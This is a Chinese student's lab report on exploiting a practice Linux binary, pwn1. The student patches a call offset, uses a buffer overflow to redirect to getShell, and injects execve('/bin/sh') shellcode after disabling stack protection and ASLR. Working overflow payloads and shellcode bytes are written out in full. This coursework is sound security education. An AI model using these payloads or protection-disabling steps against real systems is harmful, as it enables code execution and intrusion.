20175133 于沛辰 Exp1 PC平台逆向破解
一、 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
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三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
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这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
二、实验步骤
---基础知识
NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:0x90
JNE:0x75
JE:0x74
JMP:
far Jump:0xEA
near Jump:0xE9
short Jump:0xEB
CMP:0x39
---直接修改程序机器指令,改变程序执行流程
1、下载目标文件pwn1, 在终端输入objdump -d pwn1 | more 进行反汇编。
输入 /getShell ,跳转到getShell函数、foo函数和main函数。
如上图,“call 8048491 ”是汇编指令,是说这条指令将调用位于地址8048491处的foo函数,其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,main函数调用foo,对应机器指令为“ e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。用Windows计算器,直接 47d-4ba就能得到补码c3ffffff。
2、修改可执行文件指令
copy一下pwn1,利用语句 cp pwn1 pwn2 备份pwn1,再用指令vi pwn2对pwn2修改。
得到的是乱码,不方便进行修改,改为方便修改的16进制。
先按“Esc”键,再输入指令 :%!xxd后,如下图所示:
再输入/e8 d7 定位要修改的地方,修改后:
修改结束后,输入指令 :%!xxd -r 将16进制定位原格式,再输入 :wq 保存并退出
3、查看实验结果
(1)重复第1、2步操作,把命令中的“pwn1”改为“pwn2”:
由上图可见,main函数调用的为<getShell>。
(2)运行修改后的可执行文件
pwn2修改过,pwn1会显示输入内容。
---通过构造输入参数,造成BOF攻击,改变程序执行流
1、重复上一阶段第一步,在终端输入命令:objdump -d pwn1 | more,进行反汇编。
触发getShell函数,该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞,
这里读入字符串,但系统只预留了28(0x1c)字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。
上面的call调用foo,同时在堆栈上压上返回地址值:8048ba
2、确认输入字符串哪几个字符会覆盖到返回地址
(1)安装调试工具gdb,输入指令 apt-get install gdb ,安装gdb
输入指令 gdb pwn1 ,进入调试界面,在输入“r”输入 1111111122222222333333334444444412345678
使用指令 info r ,查看当前寄存器状态,
如上图,寄存器EIP对应的值是“0x34333231”,是输入的第33-36位,即“1234”的ASCII值。
“1234”覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
3、确认用什么值来覆盖返回地址
通过前面的反汇编可以看到,getShell的地址为“0804847d”,因为在反汇编结果中,高低字节顺序发生变化,高字节在后,低字节在前,
按照书写习惯,所以应该输入 11111111222222223333333344444444\x7d\x84\x04\x08 。
4、构造输入字符
-由为没法通过键盘输入 \x7d\x84\x04\x08 这样的16进制值,所以先生成包括这样字符串的一个文件。 \x0a 表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
-利用解释型语句Perl,输出重定向“>”将perl生成的字符串存储到文件input中,输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
-输入命令 xdd input 查看input文件
-然后将input的输入,通过管道符“|”,作为pwn1的输入,利用语句(cat input; cat) | ./pwn20175104
如图所示,input文件可以直接执行“ls”命令,所以证明返回地址已被修改
---注入Shellcode并执行
1、准备一段Shellcode
-shellcode就是一段机器指令(code)
-通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
-所以这段机器指令被称为shellcode。
-在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
2、准备工作
-安装execstack:输入指令apt-get install prelink,进行安装
-修改一些设置
execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1 more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数 2 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space 0
-构造要注入的payload
- Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr(指导书中说明有问题,我就直接选择第一种方法了)
- 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
- 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
- 我们这个buf够放这个shellcode了
- 结构为:nops+shellcode+retaddr。
- nop一为是了填充,二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
3、实验步骤
-使用输出重定向perl生成的字符串存储到文件input_shellcode中
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90
\x4\x3\x2\x1\x00"' > input_shellcode
-上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
-接下来确定\x4\x3\x2\x1到底该填什么。打开一个终端注入这段攻击buf: (cat input_shellcode;cat) | ./pwn1
-打开另一个终端,输入命令 ps -ef | grep pwn1 ,并查看到进程号为 2794。
-输入指令 gdb 调试,然后输入 attach 2794 调试进程,
-输入指令 disassemble foo ,反汇编 foo 函数
-设置断点,来查看注入 buf 的内存地址,输入指令 break *0x080484ae
-回到另一终端,敲击“回车”,输入指令 c ,看到提示 “continuing”
-输入 info r esp 查看栈顶指针所在的位置,并查看改地址存放的数据
-由图可见 0xffffd6bc 存放数据 01020304 ,Shellcode的地址就是0xffffd37c+4,即0xffffd380.
-修改攻击代码,输入指令,加入地址
perl -e 'print "A" x 32;print "\x60\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0
\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0
\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
可以执行命令,注入成功。
三、问题回答
---实验感想
本次实验花费了较多时间,也让我收获了许多新知识,也对kali、以及Linux系统有了更深一步的了解。最后一部分实验了很多次才成功。这次实验也让我复习到了以前所学的汇编的知识,看来以后需要多加复习以前的知识,好在参考了网上的资料,以及询问同学。这次最让我头疼的就是kali的网络设置又出问题,导致无法下载安装gdb,好在冷静下来后在百度上找到了解决办法。总而言之,这次实验收获让我受益匪浅,不仅学习了新知识,也复习到了以前的内容,希望自己再接再厉,能更好的完成第二次实验。
---问题回答:什么是漏洞?漏洞有什么危害?
答:我认为的计算机漏洞是计算机软硬件(大多数是软件)存在地安全隐患,存在被黑客或者病毒,恶意代码等以可乘之机,造成信息泄露或者财产损失等,漏洞严重时的甚至能对一个国家进行在军事、医疗、社会稳定的攻击。